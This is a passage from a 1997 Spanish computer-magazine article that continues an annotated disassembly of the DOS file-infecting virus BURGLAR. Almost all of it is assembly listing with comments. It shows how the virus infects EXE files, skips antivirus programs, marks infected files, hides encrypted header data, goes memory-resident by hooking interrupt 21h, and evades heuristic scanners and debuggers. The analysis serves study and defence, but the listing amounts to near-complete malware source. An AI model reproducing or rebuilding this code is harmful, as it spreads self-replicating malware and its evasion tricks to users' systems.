home *** CD-ROM | disk | FTP | other *** search
/ PCMania 64 / PCMania CD64_1.iso / phy / phy002 / files / articulo.b05 < prev   
Encoding:
Text File  |  1997-01-27  |  36.0 KB  |  503 lines

  1. *cM...Continuación del desensamblaje de BURGLAR*cG
  2.  
  3. ;;; Rutina de infección.
  4.                                                
  5. 0FF1:0182 0E            PUSH    CS       ; CS = ES
  6. 0FF1:0183 07            POP     ES
  7. 0FF1:0184 2E            CS:       
  8. 0FF1:0185 8B362505      MOV     SI,[0525]  ; En SI el final de la cadena del
  9.                                            ; nombre del archivo.
  10. 0FF1:0189 BF0E04        MOV     DI,040E    ; En DI, zona de datos.
  11. 0FF1:018C AD            LODSW              ; Carga en AX el primer word de la
  12.                                            ; cadena del nombre     
  13. 0FF1:018D B90700        MOV     CX,0007    ; En CX, 0007
  14. 0FF1:0190 F2            REPNZ              ; Repite una comparativa entre AX
  15. 0FF1:0191 AF            SCASW              ; y DI 7 veces o hasta que la se-
  16.                                            ; cuencia en DI sea igual a la de
  17.                                            ; AX. De esta manera evita infectar
  18.                                            ; los archivos que empiecen por o
  19.                                            ; contengan las combinaciones 'CL'
  20.                                            ; (no sé qué anti-virus - algo con
  21.                                            ; "clean, será), 'HW' (se supone
  22.                                            ; que es para el AnyWhere, pero es-
  23.                                            ; tá al revés), 'TB' (Thunderbyte),
  24.                                            ; 'F-' (F-Prot), 'WC' y 'TK'
  25. 0FF1:0192 7417          JZ      01AB       ; Si existe la combinación, termina
  26. 0FF1:0194 2E            CS:                ; En SI, el inicio de la cadena de
  27. 0FF1:0195 8B362505      MOV     SI,[0525]  ; nuevo.
  28. 0FF1:0199 AC            LODSB              ; Carga en AL el inicio de la cade-
  29.                                            ; na.
  30. 0FF1:019A 3C00          CMP     AL,00      ; Comprueba si es fin de cadena
  31. 0FF1:019C 740A          JZ      01A8       ; Si lo es, salta
  32. 0FF1:019E 3C56          CMP     AL,56      ; Comprueba si son los caracteres
  33. 0FF1:01A0 7409          JZ      01AB       ; 'V' o 'S', y si lo son acaba.
  34. 0FF1:01A2 3C53          CMP     AL,53
  35. 0FF1:01A4 7405          JZ      01AB 
  36. 0FF1:01A6 EBF1          JMP     0199       ; Salta a 0199 si no se ha cumplido
  37.                                            ; lo anterior y vuelve a repetir el
  38.                                            ; proceso.
  39. 0FF1:01A8 E80100        CALL    01AC       ; Rutina
  40. 0FF1:01AB C3            RET                ; Retorna
  41.                                                   
  42.                                            ; Desde :01A8
  43. 0FF1:01AC 8CDB          MOV     BX,DS      ; En BX, el DS de la cadena
  44. 0FF1:01AE 33C0          XOR     AX,AX      ; AX = 0
  45. 0FF1:01B0 8ED8          MOV     DS,AX      ; En DS, 0
  46. 0FF1:01B2 FF369000      PUSH    [0090]     ; Guarda el puntero de la interrup-
  47. 0FF1:01B6 FF369200      PUSH    [0092]     ; ción 24h
  48. 0FF1:01BA C70690002B04  MOV     WORD PTR [0090],042B ; Lo direcciona hacia su
  49. 0FF1:01C0 8C0E9200      MOV     [0092],CS  ; propia rutina.
  50. 0FF1:01C4 8EDB          MOV     DS,BX      ; Recupera el anterior DS
  51. 0FF1:01C6 B84300        MOV     AX,0043    ; En AX el valor 0043h
  52. 0FF1:01C9 E8E1FE        CALL    00AD       ; Rutina para ejecutar la interrup-
  53.                                            ; ción 21h intercambiando los valo-
  54.                                            ; res de AH y AL (método anti-heu-
  55.                                            ; rístico. Así, a ojos del anti-vi-
  56.                                            ; rus se verá la función 00 de la
  57.                                            ; int 21h, no la función 43h).
  58.                                            ; Total, coge los atributos del ar-
  59.                                            ; chivo.
  60. 0FF1:01CC 1E            PUSH    DS         ; Guarda DS, DX y CX
  61. 0FF1:01CD 52            PUSH    DX
  62. 0FF1:01CE 51            PUSH    CX
  63. 0FF1:01CF 33C9          XOR     CX,CX      ; Pone a 0 los atributos del arch.
  64. 0FF1:01D1 B84301        MOV     AX,0143
  65. 0FF1:01D4 E8D6FE        CALL    00AD
  66. 0FF1:01D7 7308          JNB     01E1       ; Si puede, sigue en :01E1
  67. 0FF1:01D9 2E            CS:
  68. 0FF1:01DA FE063405      INC     BYTE PTR [0534]  ; Incrementa el byte en :0534
  69.                                                  ; para indicar al virus que
  70.                                                  ; ha habido un error
  71. 0FF1:01DE EB65          JMP     0245       ; Salta al final
  72. 0FF1:01E0 90            NOP                ; NOP insertado por el TASM v1.0
  73.                                            ; Al parecer, el TASM siempre asig-
  74.                                            ; na 3 bytes a los saltos, pero si
  75.                                            ; éstos son de 2 bytes, el compila-
  76.                                            ; dor lo rellena con un NOP.
  77.                                                   
  78. 0FF1:01E1 B83D02        MOV     AX,023D    ; Función 'Abrir Handle'                        
  79. 0FF1:01E4 E8C6FE        CALL    00AD       ; Interrupción 21h                        
  80. 0FF1:01E7 7309          JNB     01F2       ; Si no hay error, continúa.                        
  81. 0FF1:01E9 2E            CS:                                         
  82. 0FF1:01EA FE063405      INC     BYTE PTR [0534] ; Pone a 1 el byte de error                   
  83. 0FF1:01EE EB55          JMP     0245       ; Acaba
  84.                                                  
  85. 0FF1:01F0 90            NOP                                         
  86. 0FF1:01F1 90            NOP                                         
  87. 0FF1:01F2 93            XCHG    BX,AX      ; En BX el Handle                        
  88. 0FF1:01F3 B85700        MOV     AX,0057    ; Obtiene la fecha del archivo                        
  89. 0FF1:01F6 E8B4FE        CALL    00AD                                
  90. 0FF1:01F9 2E            CS:                                         
  91. 0FF1:01FA 890E2905      MOV     [0529],CX  ; Guarda en [0529] el primer word                        
  92. 0FF1:01FE 52            PUSH    DX         ; de la fecha, y en el Stack el 2º                        
  93. 0FF1:01FF 90            NOP                                         
  94. 0FF1:0200 0E            PUSH    CS         ; CS = DS                        
  95. 0FF1:0201 1F            POP     DS                                  
  96. 0FF1:0202 0E            PUSH    CS         ; CS = ES                        
  97. 0FF1:0203 07            POP     ES                                  
  98. 0FF1:0204 B03F          MOV     AL,3F      ; Se leen en el archivo los prime-                        
  99. 0FF1:0206 BA7F04        MOV     DX,047F    ; ros 102 bytes                        
  100. 0FF1:0209 B96600        MOV     CX,0066                             
  101. 0FF1:020C E89EFE        CALL    00AD                                
  102. 0FF1:020F A17F04        MOV     AX,[047F]  ; En AX los dos primeros bytes                        
  103. 0FF1:0212 90            NOP                                         
  104. 0FF1:0213 3D5A4D        CMP     AX,4D5A    ; Comprueba si es la cadena 'MZ'                        
  105. 0FF1:0216 90            NOP                                         
  106. 0FF1:0217 7409          JZ      0222       ; Si la es, continúa                        
  107. 0FF1:0219 3D4D5A        CMP     AX,5A4D    ; Comprueba si es 'ZM'                        
  108. 0FF1:021C 90            NOP                                         
  109. 0FF1:021D 7403          JZ      0222       ; Continúa si es ésta                        
  110. 0FF1:021F EB14          JMP     0235       ; Acaba si no es ninguna de las dos                        
  111. 0FF1:0221 90            NOP                         
  112. 0FF1:0222 A09304        MOV     AL,[0493]  ; Coge de la cabecera el primer by-
  113.                                            ; te del IP del inicio del programa
  114. 0FF1:0225 3478          XOR     AL,78      ; Le hace un XOR con 78h y lo com-
  115. 0FF1:0227 38069104      CMP     [0491],AL  ; para con el primer byte de la su-
  116.                                            ; ma de control de la cabecera (es-
  117.                                            ; to es la marca de infección).
  118. 0FF1:022B 7408          JZ      0235       ; Si coincide, termina                        
  119. 0FF1:022D EB2E          JMP     025D       ; Salta                        
  120. 0FF1:022F 90            NOP                                         
  121. 0FF1:0230 830E29051D    OR      WORD PTR [0529],+1D  ; Aquí sólo llegará si ha
  122.                                                      ; infectado con éxito un
  123.                                                      ; archivo. Si lo ha in-
  124.                                                      ; fectado, pone los se-
  125.                                                      ; gundos a 56-58.
  126. 0FF1:0235 5A            POP     DX         ; Saca el registro DX anterior                        
  127. 0FF1:0236 8B0E2905      MOV     CX,[0529]  ; Saca CX (CX y DX son la fecha
  128.                                            ; original)     
  129. 0FF1:023A B85701        MOV     AX,0157    ; Restaura la fecha original                        
  130. 0FF1:023D E86DFE        CALL    00AD                                
  131. 0FF1:0240 B03E          MOV     AL,3E      ; Cierra el Handle                        
  132. 0FF1:0242 E868FE        CALL    00AD                                
  133. 0FF1:0245 B84301        MOV     AX,0143    ; Restaura los atributos del archi-                        
  134. 0FF1:0248 59            POP     CX         ; vo
  135. 0FF1:0249 5A            POP     DX                                  
  136. 0FF1:024A 1F            POP     DS                                  
  137. 0FF1:024B E85FFE        CALL    00AD                                
  138. 0FF1:024E 33C0          XOR     AX,AX      ; Restaura el puntero original de                        
  139. 0FF1:0250 8ED8          MOV     DS,AX      ; la interrupción 24h                        
  140. 0FF1:0252 8F069200      POP     [0092]                              
  141. 0FF1:0256 8F069000      POP     [0090]                              
  142. 0FF1:025A 0E            PUSH    CS                                  
  143. 0FF1:025B 1F            POP     DS                                  
  144. 0FF1:025C C3            RET                ; Retorna
  145.                                                      
  146.                                            ; Desde :022D
  147. 0FF1:025D BE7F04        MOV     SI,047F    ; En SI el inicio de la cabecera                        
  148. 0FF1:0260 90            NOP                                         
  149. 0FF1:0261 C70627050000  MOV     WORD PTR [0527],0000 ; Pone W[0527] a 0
  150.                                                 
  151. 0FF1:0267 8B543C        MOV     DX,[SI+3C] ; Coge una dirección de la cabece-                        
  152. 0FF1:026A 8B4C3E        MOV     CX,[SI+3E] ; ra de una zona no documentada y                       
  153. 0FF1:026D B80042        MOV     AX,4200    ; sitúa allí el puntero de archivo                        
  154. 0FF1:0270 CD21          INT     21                                  
  155. 0FF1:0272 B90200        MOV     CX,0002    ; Lee 2 bytes                        
  156. 0FF1:0275 BA2705        MOV     DX,0527                             
  157. 0FF1:0278 B43F          MOV     AH,3F                               
  158. 0FF1:027A CD21          INT     21                
  159.                                                    
  160. 0FF1:027C 813E27054E45  CMP     WORD PTR [0527],454E  ; Comprueba si esa di-
  161.                                                       ; rección apunta a la
  162.                                                       ; cadena 'NE'
  163. 0FF1:0282 7502          JNZ     0286     ; Si no apunta, continúa                          
  164. 0FF1:0284 EBAF          JMP     0235     ; Salta y acaba
  165.                                              
  166. 0FF1:0286 B002          MOV     AL,02    ; En AL el valor 02                          
  167. 0FF1:0288 E8C900        CALL    0354     ; Rutina para situar el puntero de
  168.                                          ; archivo según AL. Ahora lo sitúa al
  169.                                          ; final.
  170. 0FF1:028B 83FA06        CMP     DX,+06   ; Comprueba si el tamaño del archivo
  171.                                          ; es mayor de 458752 bytes
  172. 0FF1:028E 77A5          JA      0235     ; Si es mayor, acaba.                          
  173. 0FF1:0290 0BD2          OR      DX,DX    ; Mira si es menor de 65536, y si lo                          
  174. 0FF1:0292 7507          JNZ     029B     ; es evita hacer lo siguiente.                          
  175. 0FF1:0294 3D0001        CMP     AX,0100  ; Mira si el tamaño, entonces, es ma-
  176.                                          ; yor de 256 bytes
  177. 0FF1:0297 7702          JA      029B     ; Si es mayor, continúa                          
  178. 0FF1:0299 EB9A          JMP     0235     ; Si no es, acaba                          
  179. 0FF1:029B 52            PUSH    DX       ; Guarda el tamaño del archivo en el                          
  180. 0FF1:029C 50            PUSH    AX       ; stack                          
  181. 0FF1:029D 8B4404        MOV     AX,[SI+04]  ; Pone en AX la longitud del ar-
  182.                                             ; chivo DIV 512    
  183. 0FF1:02A0 8B7C02        MOV     DI,[SI+02]  ; En DI la longitud MOD 512 (el
  184.                                             ; resto de haber dividido el tama-
  185.                                             ; ño entre 512)
  186. 0FF1:02A3 0BFF          OR      DI,DI       ; Mira si DI es 0                       
  187. 0FF1:02A5 7401          JZ      02A8        ; Si es 0, evita hacer lo siguien-
  188.                                             ; te    
  189. 0FF1:02A7 48            DEC     AX       ; Decrementa AX porque la división
  190.                                          ; era exacta.
  191. 0FF1:02A8 B90002        MOV     CX,0200  ; Multiplica AX por 512 para sacar                          
  192. 0FF1:02AB F7E1          MUL     CX       ; el tamaño real del archivo, y des-                          
  193. 0FF1:02AD 03C7          ADD     AX,DI    ; pués le suma el resto al tamaño en                          
  194. 0FF1:02AF 83D200        ADC     DX,+00   ; el par DX:AX, y le suma 1 más a DX
  195.                                          ; si hay bandera de acarreo por reba-
  196.                                          ; sar AX.
  197. 0FF1:02B2 5F            POP     DI       ; Saca DI                          
  198. 0FF1:02B3 3BF8          CMP     DI,AX    ; Compara el tamaño que dice en la
  199.                                          ; cabecera que tiene y el que real-
  200.                                          ; mente tiene (este último obtenido
  201.                                          ; por el puntero desplazado al final)
  202. 0FF1:02B5 5F            POP     DI       ; Saca en DI el Hi-Word del tamaño
  203.                                          ; del archivo
  204. 0FF1:02B6 75E1          JNZ     0299     ; Si no es igual, acaba                          
  205. 0FF1:02B8 3BFA          CMP     DI,DX    ; Hace lo mismo con el Hi-Word del
  206.                                          ; tamaño.       
  207. 0FF1:02BA 75DD          JNZ     0299     ; Si no es igual, acaba                          
  208. 0FF1:02BC 50            PUSH    AX       ; Guarda el tamaño del archivo y la                         
  209. 0FF1:02BD 52            PUSH    DX       ; dirección de inicio de la cabecera                          
  210. 0FF1:02BE 56            PUSH    SI       ; en memoria                          
  211. 0FF1:02BF BE8D04        MOV     SI,048D  ; Copia a :0403 diez bytes de la ca-                          
  212. 0FF1:02C2 BF0304        MOV     DI,0403  ; becera a partir del byte 0E de ella                          
  213. 0FF1:02C5 B90A00        MOV     CX,000A                             
  214. 0FF1:02C8 F3            REPZ                                        
  215. 0FF1:02C9 A4            MOVSB                                       
  216. 0FF1:02CA 5E            POP     SI       ; Saca SI                          
  217. 0FF1:02CB 33FF          XOR     DI,DI    ; Pone DI a 0                          
  218. 0FF1:02CD E81D01        CALL    03ED     ; Rutina para encriptar esa zona de
  219.                                          ; la cabecera. En ella se encuentran
  220.                                          ; los registros SS:SP, el puntero al
  221.                                          ; inicio del programa y datos de in-
  222.                                          ; terés, y los encripta para que el
  223.                                          ; "remover" del virus sea más dificil
  224.                                          ; de programar
  225. 0FF1:02D0 B91000        MOV     CX,0010    ; Pasa el tamaño del archivo de by-
  226. 0FF1:02D3 F7F1          DIV     CX         ; bytes a párrafos
  227. 0FF1:02D5 2B4408        SUB     AX,[SI+08] ; Le resta el tamaño de la cabecera
  228.                                            ; en párrafos (dato contenido en la
  229.                                            ; cabecera).
  230. 0FF1:02D8 894416        MOV     [SI+16],AX ; Pone el resultado como segmento
  231.                                            ; de código inicial     
  232. 0FF1:02DB 89166003      MOV     [0360],DX  ; En la instrucción de inicio
  233.                                            ; MOV SI,0000  pone en 0000 el va-
  234.                                            ; lor del IP del nuevo inicio del
  235.                                            ; ejecutable.
  236. 0FF1:02DF 895414        MOV     [SI+14],DX ; Pone el nuevo IP en la cabecera,
  237.                                            ; que apunta al inicio del virus     
  238. 0FF1:02E2 81C27E04      ADD     DX,047E    ; A DX le suma el tamaño del virus                        
  239. 0FF1:02E6 895410        MOV     [SI+10],DX ; Lo guarda donde corresponde                        
  240. 0FF1:02E9 89440E        MOV     [SI+0E],AX ; Número máximo de párrafos necesi-
  241.                                            ; tados adicionalmente = AX     
  242. 0FF1:02EC 5A            POP     DX         ; Saca el tamaño del archivo origi-
  243. 0FF1:02ED 58            POP     AX         ; nal
  244. 0FF1:02EE 057E04        ADD     AX,047E    ; Le suma el tamaño del virus                        
  245. 0FF1:02F1 83D200        ADC     DX,+00     ; Le suma 1 a DX si hay rebosamien-
  246.                                            ; to de AX     
  247. 0FF1:02F4 B90002        MOV     CX,0200    ; Lo divide entre 512                        
  248. 0FF1:02F7 F7F1          DIV     CX                                  
  249. 0FF1:02F9 0BD2          OR      DX,DX      ; Mira si el resto es 0, y en ese                        
  250. 0FF1:02FB 7401          JZ      02FE       ; caso no incrementa AX                        
  251. 0FF1:02FD 40            INC     AX         ; Incrementa AX si el resto no ha
  252.                                            ; sido 0
  253. 0FF1:02FE 894404        MOV     [SI+04],AX ; Guarda en la cabecera el nuevo                        
  254. 0FF1:0301 895402        MOV     [SI+02],DX ; tamaño.                        
  255. 0FF1:0304 8A4414        MOV     AL,[SI+14] ; Coge el 1er. byte del puntero de
  256. 0FF1:0307 3478          XOR     AL,78      ; inicio del programa y le hace un                        
  257. 0FF1:0309 884412        MOV     [SI+12],AL ; XOR con 78h, y lo guarda en el
  258.                                            ; word de suma de control de la ca-
  259.                                            ; becera, que raramente se usa.
  260. 0FF1:030C 33D2          XOR     DX,DX      ; Ahora copia el virus al final del
  261. 0FF1:030E B97E04        MOV     CX,047E    ; archivo.
  262. 0FF1:0311 B440          MOV     AH,40                               
  263. 0FF1:0313 CD21          INT     21                                  
  264. 0FF1:0315 C606340503    MOV     BYTE PTR [0534],03 ; Pone a 3 el byte de error                
  265. 0FF1:031A B000          MOV     AL,00      ; Pone el puntero al principio
  266. 0FF1:031C E83500        CALL    0354                                
  267. 0FF1:031F BA7F04        MOV     DX,047F    ; Escribe la cabecera modificada                        
  268. 0FF1:0322 B91800        MOV     CX,0018                             
  269. 0FF1:0325 B440          MOV     AH,40                               
  270. 0FF1:0327 CD21          INT     21                                  
  271. 0FF1:0329 B42C          MOV     AH,2C      ; Obtiene la hora                        
  272. 0FF1:032B CD21          INT     21                                  
  273. 0FF1:032D 80F90E        CMP     CL,0E      ; Mira si es el minuto 11 de cual-
  274.                                            ; quier hora.     
  275. 0FF1:0330 751F          JNZ     0351       ; Si no lo es, acaba.
  276.                                                    
  277. ;;; Efecto del virus                                
  278. ;; Pone en pantalla el mensaje 'Burglar/H'           
  279.                                                       
  280. 0FF1:0332 BE1E04        MOV     SI,041E    ; Dirección del mensaje                       
  281. 0FF1:0335 B800B8        MOV     AX,B800    ; Dirección del segmento de la pan-
  282.                                            ; talla en modo texto
  283. 0FF1:0338 8ED8          MOV     DS,AX      ; DS = B800                        
  284. 0FF1:033A 33FF          XOR     DI,DI      ; DI a 0                        
  285. 0FF1:033C B90900        MOV     CX,0009    ; CX = 9                        
  286. 0FF1:033F 2E            CS:                                         
  287. 0FF1:0340 8A04          MOV     AL,[SI]    ; Coge en AL el caracter en [041E]                        
  288. 0FF1:0342 46            INC     SI         ; Incrementa SI                        
  289. 0FF1:0343 8805          MOV     [DI],AL    ; Pone en DI el caracter                        
  290. 0FF1:0345 47            INC     DI         ; Incrementa DI                        
  291. 0FF1:0346 C6058F        MOV     BYTE PTR [DI],8F ; Pone un código de color                  
  292. 0FF1:0349 47            INC     DI         ; Incrementa DI                        
  293. 0FF1:034A E2F3          LOOP    033F       ; Hace un loop 9 veces para escri-
  294.                                            ; bir todo el mensaje
  295. 0FF1:034C B97777        MOV     CX,7777    ; Hace un loop de espera (y dale
  296.                                            ; con el 7777!)     
  297. 0FF1:034F E2FE          LOOP    034F                                
  298. 0FF1:0351 E9DCFE        JMP     0230       ; Acaba
  299.                                                   
  300. ;; Rutina para situar el puntero de archivo en un handle
  301.                                                    
  302. 0FF1:0354 33C9          XOR     CX,CX   ; Sitúa el puntero según AL                         
  303. 0FF1:0356 33D2          XOR     DX,DX                               
  304. 0FF1:0358 B442          MOV     AH,42                               
  305. 0FF1:035A CD21          INT     21                                  
  306. 0FF1:035C C3            RET             ; Retorna
  307.                                                   
  308.                                                    
  309. ; INICIO DEL VIRUS                                  
  310. ;------------------                                  
  311.                                                       
  312. 0FF1:035D 90            NOP              ; NOPs que no hacen nada                          
  313. 0FF1:035E 90            NOP                                         
  314. 0FF1:035F BE0000        MOV     SI,0000  ; SI = DI = 0 --> En realidad esto es
  315.                                          ; el inicio del programa, puesto en
  316.                                          ; el momento de la infección
  317. 0FF1:0362 8BFE          MOV     DI,SI                               
  318. 0FF1:0364 E88600        CALL    03ED     ; LLamada a una rutina para desen-
  319.                                          ; criptar una zona de la cabecera
  320.                                          ; original, donde se guardan los pun-
  321.                                          ; teros originales y los registros
  322.                                          ; SS:SP originales.
  323.                                                 
  324. 0FF1:0367 56            PUSH    SI       ; Guarda SI                          
  325. 0FF1:0368 B430          MOV     AH,30    ; En AH, 78h                          
  326. 0FF1:036A 80C448        ADD     AH,48                               
  327. 0FF1:036D B0F0          MOV     AL,F0    ; En AL, F0h                          
  328. 0FF1:036F 86E0          XCHG    AH,AL    ; AX = F078h                          
  329. 0FF1:0371 CD21          INT     21       ; Comprueba si está instalado en me-
  330.                                          ; moria.                                               
  331. 0FF1:0373 0BC0          OR      AX,AX                               
  332. 0FF1:0375 7451          JZ      03C8     ; Si AX es 0, salta.
  333.                                                    
  334.                                          ; Instalación en memoria
  335. 0FF1:0377 BF7777        MOV     DI,7777  ; En DI, 7777h                          
  336. 0FF1:037A 90            NOP                                         
  337. 0FF1:037B 4F            DEC     DI       ; DI = 7776h                          
  338. 0FF1:037C 90            NOP                                         
  339. 0FF1:037D 90            NOP                                         
  340. 0FF1:037E 75FA          JNZ     037A     ; Si no es 0, salta de nuevo a decre-
  341.                                          ; mentar (esto es un debugger trap)       
  342. 0FF1:0380 1E            PUSH    DS       ; Guarda DS                          
  343. 0FF1:0381 8CC3          MOV     BX,ES                               
  344. 0FF1:0383 4B            DEC     BX                                  
  345. 0FF1:0384 8EDB          MOV     DS,BX    ; Obtiene el offset del MCB del ar-
  346.                                          ; chivo.
  347.                                                  
  348. 0FF1:0386 BB0200        MOV     BX,0002  ; En BX, 0002h  -  Esto que hace son
  349.                                          ; trucos antiheurísticos. Un antivi-
  350.                                          ; rus heurístico busca la instrucción
  351.                                          ; CMP BYTE PTR [0000],5A  , no lo que
  352.                                          ; el autor del virus ha puesto. De la
  353.                                          ; manera que está ahora, si se pusie-
  354.                                          ; ra como flag, daría muchas falsas
  355.                                          ; alarmas, puesto que es una cosa co-
  356.                                          ; mún.
  357. 0FF1:0389 807FFE5A      CMP     BYTE PTR [BX-02],5A ; Comprueba si es el últi-
  358.                                                     ; mo MCB    
  359. 0FF1:038D 7536          JNZ     03C5     ; Si no lo es, acaba la instalación.
  360.                                          ; En CX, el tamaño del virus en párra-
  361.                                          ; fos
  362. 0FF1:038F B95600        MOV     CX,0056                             
  363. 0FF1:0392 294F01        SUB     [BX+01],CX  ; Resta a [0003] y a [0012] el ta-                       
  364. 0FF1:0395 294F10        SUB     [BX+10],CX  ; maño del virus (en párrafos)                      
  365. 0FF1:0398 8E4710        MOV     ES,[BX+10]  ; En ES, el segmento reservado ob-
  366.                                             ; tenido    
  367. 0FF1:039B 33C0          XOR     AX,AX                               
  368. 0FF1:039D 8ED8          MOV     DS,AX    ; DS = 0                          
  369. 0FF1:039F C5878200      LDS     AX,[BX+0082] ; En el par DS:AX la dirección de
  370.                                              ; la interrupción 21h
  371. 0FF1:03A3 2E            CS:                                         
  372. 0FF1:03A4 8984A700      MOV     [SI+00A7],AX ; Guarda en 00A7 el Lo-Word de la                      
  373. 0FF1:03A8 2E            CS:                  ; int 21h                      
  374. 0FF1:03A9 8C9CA900      MOV     [SI+00A9],DS ; Lo mismo con el Hi-Word
  375.  
  376. 0FF1:03AD 0E            PUSH    CS           ; CS = DS                      
  377. 0FF1:03AE 1F            POP     DS                                  
  378. 0FF1:03AF 33FF          XOR     DI,DI        ; DI a 0                      
  379. 0FF1:03B1 B93505        MOV     CX,0535      ; En CX la cantidad de bytes a
  380.                                              ; copiar (535h?)   
  381. 0FF1:03B4 FC            CLD                                         
  382. 0FF1:03B5 F3            REPZ                                        
  383. 0FF1:03B6 A4            MOVSB                ; Copia el virus en el segmento
  384.                                              ; reservado.   
  385. 0FF1:03B7 8ED9          MOV     DS,CX        ; DS a 0                      
  386. 0FF1:03B9 FA            CLI                                         
  387. 0FF1:03BA 8C878400      MOV     [BX+0084],ES             ; Pone el puntero de          
  388. 0FF1:03BE C78782005800  MOV     WORD PTR [BX+0082],0058  ; la int 21h en la                                                                
  389. 0FF1:03C4 FB            STI                              ; TVI apuntando a su
  390.                                                          ; propia rutina
  391. 0FF1:03C5 07            POP     ES                       ; Saca ES          
  392. 0FF1:03C6 06            PUSH    ES                       ; DS = ES          
  393. 0FF1:03C7 1F            POP     DS                                  
  394. 0FF1:03C8 90            NOP                                         
  395. 0FF1:03C9 5E            POP     SI             ; Saca SI          
  396. 0FF1:03CA 90            NOP                                         
  397. 0FF1:03CB 8CC3          MOV     BX,ES          ; En BX, ES          
  398. 0FF1:03CD 83C310        ADD     BX,+10         ; Le suma 10h          
  399. 0FF1:03D0 2E            CS:                                         
  400. 0FF1:03D1 019C0B04      ADD     [SI+040B],BX   ; Le suma BX al puntero del
  401.                                                ; inicio real del EXE 
  402. 0FF1:03D5 2E            CS:                                         
  403. 0FF1:03D6 019C0304      ADD     [SI+0403],BX   ; Lo mismo para el SS original                   
  404. 0FF1:03DA 2E            CS:                                         
  405. 0FF1:03DB 8E940304      MOV     SS,[SI+0403]   ; Recupera el par SS:SP del EXE
  406. 0FF1:03DF 2E            CS:                    ; original                    
  407. 0FF1:03E0 8BA40504      MOV     SP,[SI+0405]                        
  408. 0FF1:03E4 33C0          XOR     AX,AX          ; AX = 0                    
  409. 0FF1:03E6 33DB          XOR     BX,BX          ; BX = 0                    
  410. 0FF1:03E8 2E            CS:                                         
  411. 0FF1:03E9 FFAC0904      JMP     FAR [SI+0409]  ; Salto al inicio real del EXE
  412.                                                        
  413.                                            ; Desde :0364 y :02CD
  414. 0FF1:03ED 50            PUSH    AX         ; Guarda AX en el stack                        
  415. 0FF1:03EE 81C70304      ADD     DI,0403    ; Suma a DI 403h                        
  416. 0FF1:03F2 B90A00        MOV     CX,000A    ; En CX, 000Ah                        
  417. 0FF1:03F5 B87677        MOV     AX,7776    ; En AX, 7776h                        
  418. 0FF1:03F8 90            NOP                ; NOP que, junto con el de abajo y
  419.                                            ; de la manera que desencripta, evi-
  420.                                            ; ta banderas heurísticas (en con-
  421.                                            ; creto, el flag '#')
  422. 0FF1:03F9 2E            CS:                    
  423. 0FF1:03FA 3105          XOR     [DI],AX    ; En CS:[DI] hace un XOR con 7776h                        
  424. 0FF1:03FC 47            INC     DI         ; Incrementa DI y vuelve a hacer el                        
  425. 0FF1:03FD 90            NOP                ; XOR, así 10 veces.
  426. 0FF1:03FE E2F9          LOOP    03F9                                
  427. 0FF1:0400 58            POP     AX         ; Saca AX del Stack                        
  428. 0FF1:0401 C3            RET                ; Retorna
  429.                                                  
  430. 0FF1:0402 90            NOP                ; NOP (éste sí que es supérfluo)                                               
  431.                                                   
  432. 0FF1:0403 7601          JBE     0406                                
  433. 0FF1:0405 0101          ADD     [BX+DI],AX                          
  434. 0FF1:0407 0101          ADD     [BX+DI],AX                          
  435. 0FF1:0409 0101          ADD     [BX+DI],AX                          
  436. 0FF1:040B 0101          ADD     [BX+DI],AX                          
  437. 0FF1:040D E743          OUT     43,AX      ; 'CLHWTBF-WCTK'                        
  438. 0FF1:040F 4C            DEC     SP                                  
  439. 0FF1:0410 48            DEC     AX                                  
  440. 0FF1:0411 57            PUSH    DI                                  
  441. 0FF1:0412 54            PUSH    SP                                  
  442. 0FF1:0413 42            INC     DX                                  
  443. 0FF1:0414 46            INC     SI                                  
  444. 0FF1:0415 2D5743        SUB     AX,4357                             
  445. 0FF1:0418 54            PUSH    SP                                  
  446. 0FF1:0419 4B            DEC     BX
  447.  
  448. 0FF1:041A 0000          ADD     [BX+SI],AL                          
  449. 0FF1:041C 0000          ADD     [BX+SI],AL                          
  450. 0FF1:041E 42            INC     DX       ; 'Burglar/H'                          
  451. 0FF1:041F 7572          JNZ     0493                                
  452. 0FF1:0421 67            DB      67                                  
  453. 0FF1:0422 6C            DB      6C                                  
  454. 0FF1:0423 61            DB      61                                  
  455. 0FF1:0424 722F          JB      0455                                
  456. 0FF1:0426 48            DEC     AX                                  
  457. 0FF1:0427 2A2E2A00      SUB     CH,[002A]  ; '*.*'                        
  458. 0FF1:042B 32C0          XOR     AL,AL    ; Rutina de la interrupción 24h                          
  459. 0FF1:042D CF            IRET                      
  460.                                             ; Zona de datos
  461. 0FF1:042E 0000          ADD     [BX+SI],AL                          
  462. 0FF1:0430 0000          ADD     [BX+SI],AL                          
  463. 0FF1:0432 0000          ADD     [BX+SI],AL                          
  464. 0FF1:0434 0000          ADD     [BX+SI],AL                          
  465. 0FF1:0436 0000          ADD     [BX+SI],AL                          
  466. 0FF1:0438 0000          ADD     [BX+SI],AL                          
  467. 0FF1:043A 0000          ADD     [BX+SI],AL                          
  468. 0FF1:043C 0000          ADD     [BX+SI],AL                          
  469. 0FF1:043E 0000          ADD     [BX+SI],AL                          
  470. 0FF1:0440 0000          ADD     [BX+SI],AL                          
  471. 0FF1:0442 0000          ADD     [BX+SI],AL                          
  472. 0FF1:0444 0000          ADD     [BX+SI],AL                          
  473. 0FF1:0446 0000          ADD     [BX+SI],AL                          
  474. 0FF1:0448 0000          ADD     [BX+SI],AL                           
  475. 0FF1:044A 0000          ADD     [BX+SI],AL                          
  476. 0FF1:044C 0000          ADD     [BX+SI],AL                          
  477. 0FF1:044E 0000          ADD     [BX+SI],AL                          
  478. 0FF1:0450 0000          ADD     [BX+SI],AL                          
  479. 0FF1:0452 0000          ADD     [BX+SI],AL                          
  480. 0FF1:0454 0000          ADD     [BX+SI],AL                          
  481. 0FF1:0456 0000          ADD     [BX+SI],AL                          
  482. 0FF1:0458 0000          ADD     [BX+SI],AL                          
  483. 0FF1:045A 0000          ADD     [BX+SI],AL                          
  484. 0FF1:045C 0000          ADD     [BX+SI],AL                          
  485. 0FF1:045E 0000          ADD     [BX+SI],AL                          
  486. 0FF1:0460 0000          ADD     [BX+SI],AL                          
  487. 0FF1:0462 0000          ADD     [BX+SI],AL                          
  488. 0FF1:0464 78F0          JS      0456                                
  489. 0FF1:0466 0000          ADD     [BX+SI],AL                           
  490. 0FF1:0468 1B04          SBB     AX,[SI]                             
  491. 0FF1:046A 0E            PUSH    CS                                  
  492. 0FF1:046B 0000          ADD     [BX+SI],AL                          
  493. 0FF1:046D 0002          ADD     [BP+SI],AL                          
  494. 0FF1:046F 0802          OR      [BP+SI],AL                          
  495. 0FF1:0471 080670A3      OR      [A370],AL                           
